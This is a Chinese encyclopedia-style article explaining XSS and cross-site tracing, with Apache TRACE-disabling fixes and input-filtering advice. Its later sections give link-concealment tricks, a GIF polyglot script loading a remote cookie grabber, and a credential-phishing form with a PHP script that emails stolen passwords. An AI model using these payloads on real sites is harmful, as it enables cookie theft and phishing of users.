跨站攻擊

跨站攻擊

跨站攻擊,即Cross Site Script Execution(通常簡寫為XSS)是指攻擊者利用網站程式對用戶輸入過濾不足,輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。

基本介紹

  • 中文名:跨站攻擊
  • 外文名:Cross Site Script Execution(
  • 利用:利用網站程式對用戶輸入過濾不足
  • 目的:進行病毒侵害
基本概括,跨站腳本攻擊分類,兩種方式,攻擊條件,比較,相同點,優點,區別,如何防範,漏洞成因,漏洞形式,漏洞危害,隱藏技巧,注意事項,解決方法,常見問題,XSS 上傳,XSS 釣魚,

基本概括

業界對跨站攻擊的定義如下:“跨站攻擊是指入侵者在遠程WEB頁面的HTML代碼中插入具有惡意目的的數據,用戶認為該頁面是可信賴的,但是當瀏覽器下載該頁面,嵌入其中的腳本將被解釋執行。”由於HTML語言允許使用腳本進行簡單互動,入侵者便通過技術手段在某個頁面里插入一個惡意HTML代碼,例如記錄論壇保存的用戶信息(Cookie),由於Cookie保存了完整的用戶名和密碼資料,用戶就會遭受安全損失。如這句簡單的Javascript腳本就能輕易獲取用戶信息:alert(document.cookie),它會彈出一個包含用戶信息的訊息框。入侵者運用腳本就能把用戶信息傳送到他們自己的記錄頁面中,稍做分析便獲取了用戶的敏感信息。

跨站腳本攻擊分類

1、持久型XSS,又稱存儲型XSS。
2、非持久型XSS,又稱反射型XSS。
3、DOM-XSS,DOM(文檔對象模型)。
持久型的XSS較第二、第三種XSS攻擊的危害較大。

兩種方式

其一由於HTML語言允許使用腳本進行簡單互動,入侵者便通過技術手段在某個頁面里插入一個惡意HTML代碼——例如記錄論壇保存的用戶信息(Cookie),由 於Cookie保存了完整的用戶名和密碼資料,用戶就會遭受安全損失。
其二XST攻擊描述:攻擊者將惡意代碼嵌入一台已經被控制的主機上的web檔案,當訪問者瀏覽時惡意代碼在瀏覽器中執行,然後訪問者的cookie、http基本驗證以及ntlm驗證信息將被傳送到已經被控制的主機,同時傳送Trace請求給目標主機,導致cookie欺騙或者是中間人攻擊

攻擊條件

XST:
1、需要目標web伺服器允許Trace參數;
2、需要一個用來插入XST代碼的地方;
3、目標站點存在跨域漏洞。

比較

相同點

都具有很大的欺騙性,可以對受害主機產生危害,而且這種攻擊是多平台多技術的,我們還可以利用Active控制項、Flash、Java等來進行XST和XSS攻擊。

優點

可以繞過一般的http驗證以及NTLM驗證
用apache+mysql+php在win2003架設web伺服器,掃描伺服器:
提示 www (80/tcp)
http TRACE 跨站攻擊
你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用來調試web伺服器連線的HTTP方式。
支持該方式的伺服器存在跨站腳本漏洞,通常在描述各種瀏覽器缺陷的時候,把"Cross-Site-Tracing"簡稱為XST。
攻擊者可以利用此漏洞欺騙合法用戶並得到他們的私人信息。
解決方案: 禁用這些方式。
如果你使用的是Apache, 在各虛擬主機的配置檔案里添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
也可以在server config或者 virtual host中添加如下配置(適用於Apache 1.3.34, 2.0.55 and later)
TraceEnable off

區別

並非任何可利用腳本插入實現攻擊的漏洞都被稱為XSS,因為還有另一種攻擊方式:“Injection”,即腳本注入或者是講腳本注射,他們之間是有區別的,他們的區別在以下兩點:
1、( Injection)腳本插入攻擊會把我們插入的腳本保存在被修改的遠程WEB頁面里,如:sql injection,XPath injection.這個很常見,好象前幾個月很多安全網站被黑就是因為腳本里存在注入漏洞,而被一些人利用的。
2、跨站腳本是臨時的,執行後就消失了。這個就不同於我們現 在討論的XSS/CSS 了,今天講的是在頁面中插入腳本,這樣誰來訪問誰的瀏覽器就執行,如果不被刪掉或者是修改編輯的話,就一直存在的。
什麼類型的腳本可以被插入遠程頁面?
主流腳本包括以下幾種:
HTML
Javascript
VB
ActiveX
Flash

如何防範

在你的WEB瀏覽器上禁用java腳本,具體方法,先打開你的IE的internet選項,切換到“安全”頁,有個“自定義”級別,點他出現如下視窗,禁用就可以了。但是好象不太可能,因為一旦禁用,很多功能就喪失了,這個方法是下策。
還有不要訪問包含〈〉字元的連線,當然一些官方的URL不會包括任何腳本元素。
如果你的站點程式含論壇,留言板,以及其他程式中含提交數據格式的,沒有很好過濾機制,請馬上下載升級程式或是停止使用ubb這樣的功能,避免造成更多的問題。
跨站腳本執行漏洞的成因,形式,危害,利用方式,隱藏技巧

漏洞成因

原因很簡單,就是因為CGI程式沒有對用戶提交的變數中的HTML代碼進行過濾或轉換。

漏洞形式

這裡所說的形式,實際上是指CGI輸入的形式,主要分為兩種:
1.顯示輸入
2.隱式輸入
其中顯示輸入明確要求用戶輸入數據,而隱式輸入則本來並不要求用戶輸入數據,但是用戶卻可以通過輸入數據來進行干涉。
顯示輸入又可以分為兩種:
1. 輸入完成立刻輸出結果
2. 輸入完成先存儲在文本檔案或資料庫中,然後再輸出結果
注意:後者可能會讓你的網站面目全非!
而隱式輸入除了一些正常的情況外,還可以利用伺服器或CGI程式處理錯誤信息的方式來實施。

漏洞危害

大家最關心的大概就要算這個問題了,下面列舉的可能並不全面,也不系統,但是我想應該是比較典型的吧。
1. 獲取其他用戶Cookie中的敏感數據
2. 禁止頁面特定信息
3. 偽造頁面信息
5. 突破外網區域網路不同安全設定
6. 與其它漏洞結合,修改系統設定,查看系統檔案,執行系統命令等
7. 其它
一般來說,上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞,也就是通過別人的網站達到攻擊的效果,也就是說,這種攻擊能在一定程度上隱藏身份。

隱藏技巧

出於時間的考慮,我在這裡將主要講一下理論了,相信不是很難懂,如果實在有問題,那么去找本書看吧。
1. URL編碼
比較一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你覺得哪個更有隱蔽性?!
2. 隱藏在其它對象之下
與直接給別人一個連結相比,你是否決定把該連結隱藏在按鈕以下更好些呢?
3. 嵌入頁面中
讓別人訪問一個地址(注意這裡的地址不同於上面提到的URL),是不是又要比讓別人按一個按鈕容易得多,藉助於Iframe,你可以把這種攻擊變得更隱蔽。
4. 合理利用事件
合理使用事件,在某些情況上可以繞過CGI程式對輸入的限制,比如說前些日子的SecurityFocus的跨站腳本執行漏洞。

注意事項

一般情況下直接進行類似alert(document.cookie)之類的攻擊沒有什麼問題,但是有時 CGI程式對用戶的輸入進行了一些處理,比如說包含在’’或””之內,這時我們就需要使用一些小技巧來繞過這些限制。
如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。

解決方法

要避免受到跨站腳本執行漏洞的攻擊,需要程式設計師和用戶兩方面共同努力:
程式設計師:
1. 過濾或轉換用戶提交數據中的HTML代碼
2. 限制用戶提交數據的長度
用戶:
1. 不要輕易訪問別人給你的連結
2. 禁止瀏覽器運行JavaScript和ActiveX代碼
附:常見瀏覽器修改設定的位置為:
Internet Explorer:
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera:>檔案->快速參數->允許使用Java
檔案->快速參數->允許使用外掛程式
檔案->快速參數->允許使用JavaScript

常見問題

Q:跨站腳本執行漏洞在哪裡存在?
A:只要是CGI程式,只要允許用戶輸入,就可能存在跨站腳本執行漏洞。
Q:跨站腳本執行漏洞是不是只能偷別人的Cookie?
A:當然不是!HTML代碼能做的,跨站腳本執行漏洞基本都能做。
解決 ubuntu server 的跨站攻擊
apache 默認開啟了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan掃描發現此功能存在存在跨站攻擊漏洞,並且提出了解決辦法,在配置檔案中添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
問題是不知道該放那裡,找一天都沒發現。嘗試在/etc/apache2/httpd.conf里添加,怎么都沒反應。網上一般就是打開虛擬機的 AllowOverride,然後在.htaccess檔案中添加。但整個配置檔案都可以修改,沒理由要這樣做......奇蹟就發生在重啟的瞬間,竟然連不上伺服器。跑到實驗室發現,重啟正常,無奈之下竟發現還有一個sites-available的目錄,裡面的default檔案才是所謂的配置檔案,汗死...
添加後可通過 telnet 127.0.0.1 80 確認是否修復該漏洞,輸入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回車後返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
(註:windows的telnet默認沒有打開輸入回顯)

XSS 上傳

舉個例子,我們來新建一個hack.gif檔案.然後用記事本打開檔案,刪除所有的內容,然後寫入代碼
GIF89a<script>alert("XSS")</script>
保存退出.
上傳hack.gif到相就的地方...此時跨站發生
不要用Mozillia Firefox來訪問那張圖片,Mozillia 不會執行我們的alert.要用Internet explorer.
為什麼添加GIF89a ?
因為很多上傳程式會來檢查我們的gif檔案是否包含 'GIF89a',如果包括則認為是gif檔案.
code:GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>
我們需要知道一些其它格式圖片,頭部所包含的代碼.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
為了安全不要僅僅只檢查getimagesize()

XSS 釣魚

你是否明白什麼是釣魚?什麼是XSS?
在這個例子裡,有必需找到一個易受攻擊的網站去XSS並注入那裡,身於一種形式,以自己直接在網址以下代碼
code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
這個通過這個模仿的表單,然後利用mail.php通過電子郵件把表單里的數據傳送給你。
code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("[email protected]", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

相關詞條

熱門詞條

聯絡我們